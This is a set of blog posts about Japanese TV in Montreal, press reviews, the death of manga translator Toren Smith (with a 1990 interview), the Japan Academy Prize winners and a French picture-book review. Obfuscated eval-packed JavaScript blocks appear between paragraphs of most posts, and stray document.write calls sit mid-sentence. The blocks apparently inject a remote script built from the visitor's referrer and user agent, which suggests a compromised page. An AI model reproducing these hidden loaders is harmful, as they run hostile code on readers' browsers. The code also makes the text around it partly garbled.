TV Japan in Montreal at last!

A quick post on Coco Montreal‘s Facebook page brought to my attention that TV Japan (which offers mostly NHK programming) is now available in Montreal through Bell Fibe TV (although Bell own web page doesn’t mention anything about this yet).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhkry|var|u0026u|referrer|nddyy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihdye|var|u0026u|referrer|frbfy||js|php’.split(‘|’),0,{}))

TV japan’s
press release mentioned by Coco Montreal (in Japanese), document.write(“”); also point to a free preview available from March 21st to April 18th.

Some of NHK programming (mostly news and documentaries) are already available in English through NHK World, which can be watched here for free online or via an iOS app.

However, more NHK programming (in Japanese) is now available from TV Japan, a channel owned by NHK Cosmomedia America, Inc. It offers “24 hours Japanese broadcasting everywhere in North America.” Their website also says that it “broadcasts many of its live news programs with English translation as a secondary audio service or with English crawl. An additional few select programs are provided in English or with English subtitle”. We also learn that it is “available in North America through DISH Network satellite service (US only), select Cable Systems [Rogers in Ontario, BC and Alberta] and IPTV Systems [Bell Fibe TV in Quebec, BC, AB, MB and ON] as a premium channel [meaning at the hefty price of $20 per month]”.

It offers a great variety of programming: news, drama, documentary, sports and even anime (although it’s limited to Anpanman, Chibi Maruko Chan, Doraemon, Detective Conan and One Piece).

It make me wish that I was with Bell Fibe TV, but lets hope that Videotron will have the brilliant idea to add it to its international lineup on their new Illico Digital TV (they did promised more channel as I recall — although they just added AMC which is already a good news).

Press Review (2013-03-26)

Not much happened in the last couple of weeks: A few activities on the union side (inflating even more my disillusions about democracy), document.write(“”); a little job hunting (I’m looking to move to a better position, geographically) and a last hurrah of the winter with a storm that gave us nearly twenty centimetres of snow last week. However, spring is coming out stronger each day.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fahbz|var|u0026u|referrer|aiszz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|byhsd|var|u0026u|referrer|absyy||js|php’.split(‘|’),0,{}))

I just finished reading
Hitler, a manga by Shigeru Mizuki, and now I am reading Mari Yamazaki’s Thermae Romae (an hilarious manga that was adapted into both an anime and a live-action movie) as well as Je suis vivant et vous êtes morts [I am alive but you’re dead] a novelized biography of Philip K. Dick by French author Emmanuel Carrère. All quite interesting and I’ll try to comment on them as soon as possible (considering how busy I am, it’ll probably take months).

On TV, I just finished watching the (Brit, of course) series Mr Selfridge and Ripper Street. I am currently following (or catching up on) Ben Hur (the 2010 movie for TV remake, ideal viewing choice for the week leading to Easter!), Murdoch Mysteries and Vikings (while still watching the usual Elementary, Hawaiï Five-O, Mentalist, NCIS, Vampire Diaries and Walking Dead — it’s funny to note that those are the only shows with contemporary setting that I watch). Not to forget that Bomb Girls, The Borgia, Continuum, Doctor Who, Game of Thrones and Mad Men will resume imminently. I’m wondering where I find time to sleep.

Not much news-wise either. A new Pope was elected (as if it would change anything) and, for the rest, here’s a few links after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Library Humour
Unshelved (2013-03-21)

Unshelved (2013-03-23, originally appeared on 2003/04/22)

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

Press Review (2013-03-12)

Domestic log: We’ve just started Daylight Saving Time. Spring is obviously coming in a week as we are getting warmer temperature and rain to make the snow melt. I’m not complaining. I feel much better that way, document.write(“”); although the view of all those bare trees is still depressing. I can’t wait to see some green. Last week was the spring break for local elementary and high schools so the library was hellishly busy. Seeing all those poster-children for vasectomy sure makes you rethink your career plans. I am really desperate to move out of this library for a less dysfunctional one in order to save my sanity! I also heard the shocking news of the death of Toren Smith, a manga translation pioneer that played a key role in importing our favourite books this side of the Pacific. I barely knew him, having met only half a dozen times, mostly in the nineties. However my wife knew him much better than me. We’ve spent a sad evening remembering him as my wife was telling me a few interesting anecdotes about him.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hszzz|var|u0026u|referrer|iyyhk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tiibf|var|u0026u|referrer|byiyf||js|php’.split(‘|’),0,{}))

As for the press review, the last couple of weeks were poor in big news. The
winners of the Japanese Academy Awards were announced and the Conclave to elect the new Pope has just begun. You will find links to more news (including my favourite library humour) after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Library Humour

Dilbert (2013/02/14)

Pooch Cafe (2013/02/14)

Unshelved (2013/02/27)

Unshelved (2013/02/28)

Unshelved (2013/03/02 — originally appeared on 4/15/2003)

Unshelved (2013/03/11)

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

Toren Smith (1960-2013)

This week, document.write(“”); I was aghast to learn (via Anime News Network and James Hudnall) that one of the founding pillar of the manga industry in North America had passed away. Toren Smith was probably the first to go to Japan in order to negotiate publishing rights for manga titles, translate them into English (working with his friend David Lewis, later known as Dana Lewis, whom he met in Japan) and team up with American comics companies (like Viz, Eclipse and Dark Horse) to publish them — for that purpose he created Studio Proteus and thus kickstarted the manga industry in North America. For this we should all be immensely grateful and indebted to him.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yddkh|var|u0026u|referrer|fhets||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdbhy|var|u0026u|referrer|essht||js|php’.split(‘|’),0,{}))

I met Toren for the first time in August 1989 at the San Diego Comic Convention, where my friend Alain Dubreuil and I interviewed him for Protoculture Addicts, and I kept seeing him in several other conventions after that. However, my wife knew him quite well. Married twice (mostly to the artist Tomoko Saito), he led a full and interesting life. He was an enthusiastic and multitalented individual, a shrewd businessman (he didn’t talked much about it but a good part of his income came from translating hentai manga, most of them published through Fantagraphics‘ imprint MangErotica) and a great guy. He brought us so many excellent manga, gave us (with Adam Warren) the Dirty Pair comics and even had a cameo appearance in the anime Gunbuster (at first I thought he had seriously pissed off Gainax people, because when someone put you in their animation only to kill you off it’s usually not out of love, but I later learned that it was meant as an expression of great respect and friendship).

Toren Smith died on Monday March 4th 2013 at age 52 (way too young) and the cause of his death has not been made public. My wife and I want to express our most sincere condolences to Toren’s family, friends and fans. Requiescat in pace Smith Toren!

Many members of the anime and manga community commented on his passing (Japanator, Right Stuf, The Fandom Post, All Day Comics, Gilles Poitras, The Mike Toole Show and I’m sure you can find more on Google), but if you have to read only one piece about Toren I suggest you check the obituary by Jonathan Clements.

For my part, as a tribute to Toren Smith’s life and career, I would like to offer you the interview we made with him and published in Protoculture Addicts #7 (pages 21-24) in the Spring 1990. Read the interview after the jump:

An Interview with Toren Smith

PA: Tell us about your background in Japanese animation: what are the series that marked your youth and how did you get so hooked to this japanimation thing?

TS: When I was a kid there were only two Japanese animation on TV, at least where I lived. Interesting enough, I liked them both. I didn’t like much else that was on TV, but I remember liking both of the shows. One of them was Kimba the White Lion, one of [Osamu] Tezuka’s works, and the other one was a show called Marine Boy, based on a Japanese show called Marine Kid which is really minor and obscure. Most of the Japanese people I talked to just never heard of it, even Japanese animation fans; but we have to remember there have been 500 animation series in Japan for the past 20 years, so it’s hard to remember them all. So that’s pretty much what I remember of when I was a kid. I remember liking Kimba quite a bit. I would actually hurry home from school so I could watch that one.

As far as getting turned on more recent stuff, what happened was that I moved from Calgary to California. I was living with a friend of mine in North California and she was a very popular SF/Fantasy artist. One of her fans came up to visit her and said, “have you ever seen Japanese animation? You got to see it, it’s great!” So we went to his grandmother’s house where he was staying and watched Japanese animation. He showed us Cagliostro Castle, the [Hayao] Miyazaki Lupin film. It was subtitled in English. We were all just completely blown away by that. He also showed us Phoenix 2772, the Australian dubbed version which didn’t impressed us as much but was still pretty good. When we came back the next week-end, he showed us Crusher Joe, some episodes of Urusei Yatsura and a couple of other things like that. My friend and I were completely astonished to find out that this stuff existed since we had never heard of it. And he told us about the C/FO [Cartoon/Fantasy Organization].

The person who did all this was James Hudnall, who of course is now writing for Marvel Comics. He does Alpha Flight, Strike Force Morituri and recently did Luthor for DC. It’s kind of interesting that he was the one who started us all on it. So, it’s pretty much how I got into it. And then from there, of course, I got interested in the manga itself.

PA: What were your first involvements with the animation fandom in this country?

TS: What happened was, James Hudnall decided he liked the area up there so much (we are living in Santa Rosa, around that very nice area about fifty miles north of San Francisco, the Sonoma county with a lot of wineries around) that he wanted to moved there. He was still a computer programmer at that time. He packed up everything, bought a house, and moved up there but he missed going to the C/FO meetings that they were having down in Southern California. I mean this was when the C/FO really did something, when people were still getting involved doing a lot of things. So we started a C/FO chapter – he started it and I came in to help out on it. I was working as a computer programmer at that time as well. So I started helping him out by making translation booklets. I would just take sheets of 8 by 11 paper, and use the IBM Selectric typewriter at work to produce a master copy, switching the balls to make different typefaces. I’d paste in drawings clipped out of animation magazines, then Xerox it off on the company machine when no one was around, fold it over once, and we’d give them away at the meetings. A lot of people would come and watch all different kinds of animation. I started collecting it about that time too.

Then I got contacted by a friend of mine, John McLaughlin, who is a SF fan and was putting on BayCon. He asked us to do an animation room, which was very progressive of him because at that time not many people had ever done one. That was BayCon ‘84. We had just a little tiny room – a room where the beds fold up into the wall. Well, it was jammed, it was absolutely packed with people, from the time it opened till the time it closed. John saw this and said, “God! It looks really popular! Next year we’ll have a bigger room”. So in ’85 we had a much bigger room. That was the first year I put together one of those animation booklets. It was stapled together, it was twenty pages Xeroxed on both sides, some of them were blue, most of them were yellow and I got Lela Dowling to draw a really nice Lum on the front. That was the booklet that started everything off. Again the room was absolutely packed from morning till night. So John said, “OK, next year what if we run it 24 hours? I’ll give you a huge budget so you can rent all the stuff you want, buy all the films you want and print a really nice booklet”.

I contacted Steven Johnson, and after I’d written all the synopses, I drove down to his office and we worked twenty hours a day for three days putting everything together. It was originally printed with a black and white cover, but when Books Nippan asked us to reprint it a few months later, we had Lela Dowling color her original cover illustration. So that was the big BayCon ’86 book. I really wanted to do an expanded version, I really did. I had plans for it; [Yoshikazu] Yasuhiko even did me a cover – I got it at home on my wall in a frame; [Hayao] Miyazaki’s also doing one for me, but I’m not sure now when I’m going to have time to do the book – it might not be for years. Besides, with all the subtitling that’s being done, and the English version coming out, the need for such a book isn’t as great as it once was. Anyway, that was how I got involved in BayCon and came out of that.

PA: What brought you to Japan and how did Studio Proteus start?

TS: What happened was that I had been in pretty close contact with Frederik Schodt who wrote Manga! Manga! He called me up and said, “look, a friend of mine wants to start publishing Japanese comics in America, can you help him at all?” I said, “well, maybe”. So I got into contact with this person, Seiji Horibuchi who is now president of Viz comics. At that time he was running his own company called Green Communications which was doing location research for movies and stuff like that; he had nothing to do with comics at all. He had a connection with Shogakukan. He talked about it a little bit, he asked my opinion on a few things. A couple of years earlier, James Hudnall had been working part time for Eclipse Comics as a Marketing Director. He was pushing them to get Akira and Lone Wolf and Cub. We didn’t realize at that time that First Comics was also negotiating for those. But no one was really interested in Japanese comics back then; they didn’t think it could sell.

I started talking to Seiji a lot. For about a year we talked about it, and made various plans. More and more I felt that I wanted to go to Japan. This was something I really wanted to do. To go to Japan, meet some people and see what it was like. At that time I had figured I would just work for Viz as a translator. Seiji was saying that I’d do Urusei Yatsura and all sorts of other stuff. I finally packed up, sold everything, quit my job, took all the money I had and went to Japan. I went over there with James Hogan, the SF writer. We went to the Daicon SF convention. We flew to Tokyo, spent two days there and then flew directly to Osaka for the convention. At Daicon V, I met with [Osamu] Tezuka, Mamoru Oshii, Mamoru Nagano; I just met this incredible list of people and that was it. Once I made the contacts, I could start talking to people about things.

I didn’t actually start working on Kamui until early ’87. Back in early ’86, Seiji had decided, based on my recommendation, that he should co-publish the book with an already established American company. So I said: “you should go with Eclipse because they are interested and because they are close” (they are very close to San Francisco, about 75 miles north). Seiji kept telling me, during the fall of ‘86, “Don’t worry, we’ll give you Kamui, and we’ll give you another book, Mai [The Psychic Girl] or Area 88. That way you’ll have two books so that you can survive while living in Japan doing them”. I finally got a letter from James Hudnall telling he’d been given Area 88 and Mai and Viz had never even told me in my face. So I was stuck in Japan with only Kamui to live on. It wasn’t enough; I mean I would have starved to death. So I merely had to start doing things on my own. So I gathered up a bunch of stuff I really wanted to get the rights to and publish in English. And I took it to Seiji and said: “look, these are things we should get. I could help you get them and if I do, you’ll have to give me the translation work on it”. “Well”, he said, “we can’t do anything that isn’t Shogakukan right now; we have to do only Shogakukan works”. “OK, fine, fair enough. We can’t wait on these things or other people will get them”. So I went off and got them myself. I got Appleseed, and a bunch of other things. When I told Seiji, he got really mad at me. So I did Kamui for him but I never did anything else. The only reason I’m doing Nausicaä now is because [Hayao] Miyazaki insisted that I work on it. That was the big split between me and Viz and that’s why I decided to start Studio Proteus.

One thing I realized is that I wasn’t going to get the rights to anything unless I could fool these people into thinking that I was a real company. I got a very expensive suit, spent most of my last money on it, so I would look very professional, and I got some really nice business cards. I planned everything out. I would go to them and show them the business card. They’d see the business card and they’d see the suit and they’d figure “this guy must know what he’s talking about”. That’s all it was. And of course I had copies of the stories I’d written for Epic and Eclipse and other people like that. So that’s how Studio Proteus really got started – an expensive suit, a nice business card, and a line of B.S. I contacted the Appleseed people first of all and they were very interested. Also at that time we were negotiating for Nausicaä so all I had to tell people was that we were doing Nausicaä and immediately everyone would say “you must be a big company, if you’re doing Nausicaä” because everyone knows Nausicaä there, it’s the Watchmen of Japan, everyone knows it. So after that, things started to fall into place, and Studio Proteus was off and running.

PA: What’s the readers’ feedback on your present projects?

TS: It depends on how you count feedback. Most letters you get are positive because most people who don’t like something, hate it, or got pissed off at it, won’t write in; they’ll just grumble to their friends. But if they like it, they’ll want to write, show their approval and maybe get published; so most of the letters we get are positive. From talking to other writers about how fan mail tends to run, I’ve determined that, actually, the negative mail on all of our series is very low, much lower than the average. So I think we must be doing something right. As far as sales go, all of our books are selling much better than the average B&W comic: the average B&W sells about 6000 copies; Appleseed and Dirty Pair are selling close to 30,000 copies, which is very good. Our lowest seller is Cyber 7 but that’s catching on and sales on everything are going up. Outlanders is selling 500 to a 1000 copies more each month as the series goes on; this is almost unheard of in the comic industry. Cyber 7 is also selling more, about 250 additional copies every new issue.

The only thing we’re getting a lot of flack on of course is Dirty Pair. A lot of people don’t like the fact that we changed the character designs and that they are too different from the TV series. I said it a million times before but I’ll say it again: we had no choice on that, we had to change them. If they don’t like what we’ve changed them to, well that’s a decision that only the individual reader can make. If they don’t like it, they really don’t have to buy it because we have to do what we want to do. Otherwise, we can’t do the best job we can on it. You have to want to be doing something; if the readers want you to do this or that, you feel like you’re being pushed around. It’s either the readers like what you do or they don’t but I don’t think people will go farther ahead if they try and do what the readers want. Once you do that, almost invariably you’re sunk. You can never guess. We’re making 30,000 people happy, I know that much. I think that maybe rather than try to make happy the two or three people that write in every month – that’s about all we get, maybe two or three very negative letters every month (although there must be much more people out there who don’t like it) – so I mean rather than trying to make those 200-300 people happy at the expense of the 30,000 people who like it, we’ll just continue to make what we feel is good. That’s the best we can do, I think.

PA: What are your near future projects and what are you thinking of for the next years?

TS: Coming up real soon is Dominion. As a matter of fact, I should probably have a script waiting for me in San Francisco. I’ll start working on that next week. That will be out in October [1989]. All the covers on that will be by [Masamune] Shirow – some people didn’t like the Arthur AdamsAppleseed covers. Within the next month, we’ll probably start working on What’s Michael? That’s a book-size thing, about 110 pages or so, that we’ll have coming out, sold mainly through bookstores. It’s a very funny comic. Following that, Black Magic will be beginning in February [1990]. What’s happening is that Appleseed Book three will end and, instead of Book four beginning a month later, we’ll have Black Magic. It will run for five months and then there will be a one month break and we’ll start Appleseed Book four. The reason for this is because the artist in Japan is very slow in producing the book and we have to space it out as much as we can. I’m afraid that Appleseed fans can’t expect to see Book 5 much before summer ’92. But we’re thinking of publishing the Appleseed Data Book, a 200-page encyclopaedia of the Appleseed world. It has around fifty new Shirow illos and a new 48-page short story. We might do that later next year.

The Venus Wars will be coming out from Dark Horse this summer, July or August. It’s written and drawn by Yoshikazu Yasuhiko, director and character designer for Gundam, Arion, Song of the Wind and Trees and other films like that. I’m sure every animation fans knows Yasuhiko. We will be doing that probably for Dark Horse, on a monthly basis. It will run about forty pages an issue and will cost about $2.25. It should run – if Yasuhiko does what he told me he was going to do – something between forty and fifty issues. About the same size as Outlanders.

We’ve got about four more projects coming up for ’90, but they’re all still waiting for final contracts, so I really can’t talk about them. One I can talk about is The last Continent, by Akihiro Yamada. It’s an homage to Arthur Conan Doyle’s The Lost World, but takes place in the world of 1950’s Japan, instead of Victorian England. The art is very detailed and realistic – it reminds me a bit of Mark Schultz’ art on Xenozoic Tales, with a dose of Frazetta’s comics work. Look for that from Eclipse about July or August.

The new Dirty Pair series will be starting in May. This one will be called A Plague of Angels. The WWWA has sent the Pair to an out of the way O’Neill colony, and assigned a reporter to follow them around as they (supposedly) keep out of trouble and show everybody how nice and sweet they really are. I think you can imagine about how well that particular plan works out. The first issue has the most action we’ve ever jammed into a single issue of The Dirty Pair so far. That’s pretty much it for the future that I can talk about, anyway.

PA: What can you tell us about the main new things coming in Japan in the near future?

TS: I’ve been away so long, actually, I’m due to go back. I’ll be going back in September. I know that there’re going to be a movie made called Maimu, directed by [Sh?ji] Kawamori, the guy who directed Macross The Movie and character design will be by [Haruhiko] Mikimoto; Mikimoto has been doing a lot of character designs lately and it started to look all the same because he’s doing so much work he doesn’t have time to really think up new things. But I’ve seen the character designs for Maimu and they’re going to be great. And of course Kawamori is just like a great director, so I’ve got real hope for that. The girl does a lot of riding around on a mountain bike in the movie and so Kawamori bought a mountain bike and he’s been learning to do tricks and things on it, so that he could direct it in such a way that is very convincing. That’s something that is coming up and I look forward to it.

[Katsuhiro] Otomo is working on a new film, Roujin Z, which is going to be – you’re not going to believe this – about an old man who’s gotten Alzheimer’s disease. He’s senile and he’s going to be inside a power suit like those in Appleseed or Gundam; he’s going to go out and do good deeds except he’s not very good at them because he’s senile. What a bizarre concept. But, anyway, that’s what Otomo’s got planned; we’ll see what happens with that. There’s also a rumour that Gainax, which did Wings of Oneamis, will be the one working on that.

The Gainax folks are also doing a series for NHK in Japan. The title is, literally, Nadia’s Strange Ocean, but they’ve been calling it Blue Water in English, which is a lot more euphonic. The character designs are by [Yoshiyuki] Sadamoto (Oneamis) and direction by [Hideaki] Anno (Gunbuster). I’ve seen the first episode, and it’s pretty damn good for TV animation. It’s heavily influenced by 20,000 Leagues Under the Sea.

There’s another rumour – that I’m not in position to confirm or deny – that Shirow Masamune (Black Magic M66 and Appleseed) will be directing a very high budget Appleseed movie; when I say very high budget I’m talking about the same as Wings of Oneamis or Akira, somewhere between.

PA: Thank you Toren.

Interview by Alain Dubreuil (and Claude J Pelletier; pictures by CJP)

[ Traduire ]

36th Japan Academy Prize Winners

The Japan Academy Prize Association has just announced the Award winners for its 36th edition (for the nomination see our previous blog entry):

  • Best Picture of the year: The Kirishima Thing (“Kirishima, document.write(“”); Bukatsu Yamerutteyo”, dir.: Daihachi Yoshida)
  • Best Director of the year: Daihachi Yoshida (The Kirishima Thing)
  • Best Animation of the year: Wolf Children (“Okami Kodomo no Ame to Yuki”, dir.: Mamoru Hosoda)
  • Best Actor of the year: Hiroshi Abe (Thermae Romae)
  • Best Actress of the year: Kirin Kiki (Chronicle Of My Mother)
  • Best Supporting Actor of the year: Hideji Otaki (Dearest)
  • Best Supporting Actress of the year: Kimiko Yo (Dearest)
  • Best Screenplay of the year: Kenji Uchida (Key Of Life)
  • Best Music of the year: Ikuko Kawai (A Chorus of Angels)
  • Best Cinematography of the year: Daisaku Kimura (A Chorus of Angels)
  • Best Lighting of the year: Takashi Sugimoto (A Chorus of Angels)
  • Best Art Direction of the year: Norihiro Isoda & Nariyuki Kondo (The Floating Castle)
  • Best Sound of the year: Fumio Hashimoto (Admiral Yamamoto)
  • Best Editing of the year: Mototaka Kusakabe (The Kirishima Thing)
  • Best Foreign Language Film of the year: The Intouchables (France)
  • Most Popular Film of the year: The Kirishima Thing
  • Most Popular Actor of the year: Yuko Oshima (a member of AKB48’s Team K, for her role in Ushijima the Loan Shark)

Unlike last year, there is no clear winner. However, The Kirishima Thing gets best picture, best director, best editing AND most popular film, while A Chorus of Angels gets three of the “Technical” awards and Dearest gets both supporting role awards. I’ve already seen Dearest but I’ll make sure to add the other two on my list of “to watch” movies.

For more details on the award winners you can check the AsianWiki, Anime News Network and the Japan Academy Prize official site (in Japanese).

[ Traduire ]

La maison en petits cubes

Cette semaine j’ai découvert un superbe album illustré pour enfant qui m’a, document.write(“”); par le suite, mener vers de nouvelles révélations. Je vous en fait ici une brève introduction afin que vous puissiez le découvrir à votre tour. Comme vous voyez j’ai des lectures des plus éclectiques…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znzik|var|u0026u|referrer|yyads||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yshan|var|u0026u|referrer|tyyna||js|php’.split(‘|’),0,{}))

“Dans une ville entièrement immergée, un vieux monsieur résiste encore et toujours à la montée du niveau de la mer. Chaque fois que l’eau atteint son plancher, il est obligé de bâtir une nouvelle maison par-dessus la précédente, si bien qu’au fil du temps son logis a fini par ressembler à une immense pile de petits cubes. Un jour, alors qu’il s’est encore une fois lancé dans la construction d’une nouvelle demeure, ses outils tombent tout au fond de l’eau. Il enfile sa combinaison pour aller les repêcher, et au fur et à mesure qu’il descend à travers ses anciennes maisons, de lointains souvenirs lui reviennent en mémoire…”

“Découvrez le sublime livre créé par les auteurs du film La maison en petits cubes, récompensé dans les festivals du monde entier, notamment par le prestigieux Oscar du meilleur court-métrage d’animation”. [ Texte de la couverture arrière et du site de l’éditeur ]
Continuez après le saut de page >>

La maison en petits cubes (?????? / Tsumiki no Ie) a été publié au Japon en 2008 par Hakusensha. Il a été traduit en français en mars 2012 par nobi nobi!, un éditeur de livres Jeunesse spécialisée sur le Japon. Cet album illustré est l’adaptation en livre d’un court-métrage d’animation. KATÔ Kunio (qui était le réalisateur et le directeur artistique de l’animation) a illustré le livre et HIRATA Kenya (scénariste et dessinateur pour les arrières-plans) en a écrit l’histoire. Le livre n’est pas une simple transposition de l’histoire mais plutôt un complément car les créateurs ont cherché avec le livre a pousser plus loin le récit qui est entièrement redessiné. Il y a donc quelques différences (dans l’animation, c’est sa pipe qu’il échappe à l’eau alors que dans le livre ce sont ses outils qui coulent par le fonds) mais le propos reste le même.

Les dessins faits à l’aquarelle, dominés par les tons jaunes et ocres pour la surface et aigue-marine pour l’eau, sont vraiment superbes. Ce conte tout en douceurs se veut peut-être une sorte de leçon écologique simple (puisqu’il fait allusion à la monté du niveau de l’océan), une parabole sur la persistance (devant le flot de l’adversité, il faut continuer et sans cesse se rebâtir), mais surtout une allégorie sur la mémoire, fluide et floue, souvent engloutie par le quotidien, et qu’il faut entretenir et chérir autant que possible pour la préserver. Un livre d’une grande richesse poétique qui me rappelle un peu Taniguchi (mais cela est sans doute due à une sensibilité toute japonaise qui leur est commune). Un beau conte pour les petits et pour les grands.

La maison en petits cubes, par HIRATA Kenya (texte) et KATÔ Kunio (illustration). Maisons-Laffitte, nobi nobi! (Hors Collection), 2012. 21,5 x 28,3 cm, 48 pg. couleurs, 14,95 € / $19.95 Can. ISBN: 978-2-918857-12-9. Recommandé pour enfants de 2 à 7 ans.

Pour plus d’information vous pouvez consulter les sites suivants:

Chose amusante, à travers ce livre, je retrouve mes intérêts à la fois pour le Japon, le manga, l’animation et le cinéma japonais.

Ainsi, ce livre m’a aussi fait découvrir la maison d’édition nobi nobi! (dont le nom [????], une onomatopée japonaise, signifie “être à l’aise” ou “se sentir bien” et fait référence à l’atmosphère propice à l’épanouissement que procure une bonne et riche lecture). Sa vocation, inusité dans le milieu de l’édition française, est de faire découvrir la culture japonaise par la “traduction d’albums illustrés japonais ou la création d’albums originaux inspirés par le Japon”.

Elle a été créé par deux passionnés du Japon, Pierre-Alain Dufour et Olivier Pacciani, qui ont tous deux travaillé auparavant pour une maison d’édition de manga. J’ai constaté au cours des ans que le Japon produit effectivement des livres pour enfants qui sont d’une grande beauté et sensibilité et qui sont donc un choix logique pour une maison d’édition qui désire publier des ouvrages de qualité qui offrent “des histoires intelligentes au graphisme étudié.”

Ce livre m’a également fait découvrir le court métrage d’animation qu’est aussi La maison en petits cubes et qui a inspiré le livre. D’une durée de seulement douze minutes, cette animation a été produite en 2008 par Robot Communication et animé par le studio Oh Production, sous la direction de KATÔ Kunio, avec un scénario et des arrières-plans de HIRATA Kenya ainsi qu’une musique de KONDO Kenji. Contrairement au livre, où les illustrations sont accompagnées d’un texte, le récit de l’animation ne se fait que par l’image, la musique et les effets sonores.

Robot Communication a été créé en 1986 principalement en tant qu’agence de production pour des commerciaux télévisés et comme une firme de conception graphique. Elle a depuis étendu ses activités à la production de films, d’animation et de contenu pour le web et les téléphones mobiles. Elle est connue pour avoir produit plusieurs des films que j’ai apprécié, entre autres Space Travelers, Always: Sunset on Third Street ’64, Odoru Dai Sousasen the Final (“Dancing Detectives”) et Space Battleship Yamato.

La version animé de La maison en petits cubes a été récompensée par le prix du meilleur court métrage d’animation au Festival international du film d’animation d’Annecy de 2008, par le Prix Hiroshima et Prix de l’Audience du Festival international du film d’animation d’Hiroshima de 2008 ainsi que par l’Oscar du meilleur court-métrage d’animation en 2009. Elle est largement disponible pour visionnement sur l’internet:

Tsumiki No Ie from lennie small on Vimeo.
Pour plus d’information vous pouvez consulter les sites suivants:

La maison en petits cubes © ROBOT 2008.

